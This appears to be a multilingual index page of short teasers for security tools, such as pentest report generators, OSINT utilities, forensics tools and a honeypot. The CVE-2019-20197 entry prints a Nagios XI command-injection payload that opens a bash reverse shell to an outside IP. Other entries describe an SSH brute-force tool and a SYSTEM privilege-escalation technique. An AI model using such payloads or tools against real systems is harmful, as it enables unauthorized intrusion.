DirCreate2System

DirCreate2System Explotando bugs de creación de directorios privilegiados con Windows Error Reporting para obtener NT AUTHORITY\SYSTEM Breve descripción: He descubierto que comctl32.dll que falta en el directorio del sistema que realmente no existe es cargado por wermgr.exe a través del informe d...

CVE-2019-20197

CVE-2019-20197 Nagios XI远程命令执行漏洞 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

writehat

WriteHat 是一个报告工具，它将 Microsoft Word（以及许多小时的痛苦）从报告流程中移除。Markdown -- HTML -- PDF 。由渗透测试员为渗透测试员创建 - 但也可用于生成任何类型的报告。基于 Django Python 3 编写。 特性： 轻松生成漂亮的渗透测试报告 即时拖放式报告构建器 支持 Markdown - 包括代码块、表格等 裁剪、标注、添加说明并上传图片 可自定义的报告背景/页脚 为各个报告部分分配操作员并跟踪状态 能够克隆报告并作为模板使用 发现项数据库 支持多种评分类型 CVSS 3.1, DREAD 可从同一组发现项轻松生成多份报告...

contact.sh

contact.sh 一个用于查找联系人以报告安全漏洞的OSINT工具。 安装 🐧 GNU/Linux 确保已安装 whois 和 jq 软件包。 root@kitploit: $ git clone https://github.com/EdOverflow/contact.sh.git $ cd contact.sh/ $ chmod u+x contact.sh $ ./contact.sh -d google.com -c google 🍎 OSX root@kitploit: $ brew install gnu-sed --with-default-names $ brew...

Apktool

Apktool 这是 Apktool 的仓库。官方网站位于apktool.org 仓库。 Apktool 是一款用于逆向第三方封闭二进制 Android 应用的工具。它可以将资源解码为接近原始的形式，并在修改后重新构建；它支持逐步调试 smali 代码。得益于类似项目的文件结构以及对一些重复性任务（如构建 apk 等）的自动化，它也使处理应用更加容易。 Apktool 并非 用于盗版或其他非法用途。它可以用于本地化、添加功能、为自定义平台提供支持以及其他良好的目的。请尽量公平对待你使用且可能喜欢的应用的作者。 分支 main - Apktool 3.x 分支 2.x - Apktool...

sysreptor

一款易于使用且可自定义的渗透测试报告平台，旨在简化安全专业人员的渗透测试报告创建过程。 FFG 是中央国家资助机构，增强奥地利的创新能力。 本项目由 FFG 资助。...

reverie

reverie Automated Pentest Tools Designed For Parrot Linux this tool will make your basic pentesting task like Information Gathering, Security Auditing, And Reporting so this tool will do every task fully automatic. Usage Guide Download / Clone git clone https://github.com/baguswiratmaadi/reverie ...

Telegrip

你好 👋 Telegrip 是一款图形化数字取证工具，专门处理与Telegram相关的案件。 Telegrip 提供以下功能： 1. Telegrip 从Android设备中获取稀疏镜像，包含设备信息和所有Telegram相关数据。 2. 解析并分析所有类型的消息，无论是公开的（如频道和群组）还是私密的（如秘密消息和普通消息），然后将其转换为人类可读格式，以在调查过程中协助数字调查人员。 3. 该工具分析所有类型的媒体，包括不同类型的图片、视频、文档、链接和GIF，并明确发送者和接收者的身份。 4. Telegrip...

tsusen

Tsusen 津波センサー is a standalone network sensor made for gathering information from the regular traffic coming from the outside i.e. Internet on a daily basis e.g. mass-scans, service-scanners, etc.. Any disturbances should be closely watched for as those can become a good prediction base of...

submonitor

submonitor（子域名监控器） by xpl0ited1 描述 具备向 Slack、Discord 和 Telegram 报告功能的子域名监控器 使用方法： 在 targets.txt 文件中配置扫描目标，在 config.yaml 中设置报告配置， 然后创建 cronjob 每天执行 root@kitploit: crontab -e 0 8 /usr/bin/submonitor 从发布页面下载编译好的二进制文件：https://github.com/xpl0ited1/submonitor/releases/ 或者自行编译 root@kitploit: git clone...

RapidWebRecon

Generador de Informes PDF desde Nuclei Una herramienta de automatización de grado profesional diseñada para cerrar la brecha entre el escaneo técnico de vulnerabilidades y la generación de informes ejecutivos. Desarrollada por Adi Mahluf Tenroot Cyber Security. 🚀 Descripción general Este proyecto...

cve-2020-0618

Honeypot CVE-2020-0618 Detecta y registra intentos de explotar CVE-020-0618 RCE en SQL Reporting Services Sirve contenido y cabeceras como lo haría SSRS, para aumentar las posibilidades de indexación en motores de búsqueda ej. google, shodan, etc. Basado en el gran trabajo de MDSec y x1sec...

ADRecon

从 https://github.com/adrecon/ADRecon 下载 ADRecon: Active Directory 侦察 ADRecon 是一个从 AD 环境中提取并整合各种工件（如下所示）的工具。这些信息可以呈现在一个特殊格式的 Microsoft Excel 报告中，该报告包含带有指标的摘要视图，便于分析并提供目标 AD 环境当前状态的整体视图。 该工具对各类安全专业人士（如审计员、DFIR 分析师、学生、管理员等）非常有用。它也可以成为渗透测试人员宝贵的后渗透工具。...

WhoCord

🕵️‍♂️ WhoCord v1.1 Convierte cualquier nombre de usuario, correo electrónico, dominio, número de teléfono, imagen, URL o cadena de prueba en un perfil de identidad completo. WhoCord es una plataforma modular de investigación OSINT que ejecuta decenas de herramientas de código abierto, construye un...

memguard

MemGuard Software enclave for storage of sensitive information in memory. This package attempts to reduce the likelihood of sensitive data being exposed when in memory. It aims to support all major operating systems and is written in pure Go. Features Sensitive data is encrypted and authenticated...

purify

Purify 一体化漏洞报告管理工具 🎮 演示 📃 文档 📹 快速 Vimeo 描述 Purify 的目标是成为一个易于使用且高效的工具，简化管理来自各种（甚至自定义）工具的漏洞报告的工作流程。 Purify 旨在成为一个与工具无关的应用程序。工具独立性使得分析任何工具集的结果/发现/报告成为可能。技术上，您要上传的报告必须是以下格式之一： JSON 文件 XML 文件 JSON 对象（大多数 Webhook 将事件作为单独的 JSON 对象进行分发） 这意味着您不需要任何特殊的插件 来解析传入的报告。为此，Purify...

Sn1per

Products Attack Surface Management About Sn1per News Contact Demo Pricing Shop Sn1per — The Offensive-Security Platform for Modern Teams Recon, scanning, exploitation, and reporting in a single workspace — whether you're a solo pentester or a global SOC. Sn1per Professional 2026 is here The large...

versionscan

versionscan Versionscan is a tool for evaluating your currently installed PHP version and checking it against known CVEs and the versions they were fixed in to report back potential issues. PLEASE NOTE: Work is still in progress to adapt the tool to linux distributions that backport security fixe...

RedLogin

RedLogin Red Login：SSH暴力破解工具 功能特性： 高速且精准 命令行界面（基于控制台） 攻击成功后执行任意命令（默认 'Uname -a'） 支持通过 Telegram 机器人 API 发送报告 用法： Redlogin.exe Optional —telegram == 目标 IP 列表 == 要测试的用户名列表 == 要测试的密码列表 == 通过 @BotFather 获取的 Telegram 机器人令牌 == 通过 @userinfobot 获取的 Telegram 聊天 ID 感谢 JeJe Plus Rojhelat...

nuvola

nuvola nuvola with the lowercase n is a tool to dump and perform automatic and manual security analysis on AWS environments configurations and services using predefined, extensible and custom rules created using a simple Yaml syntax. The general idea behind this project is to create an abstracted...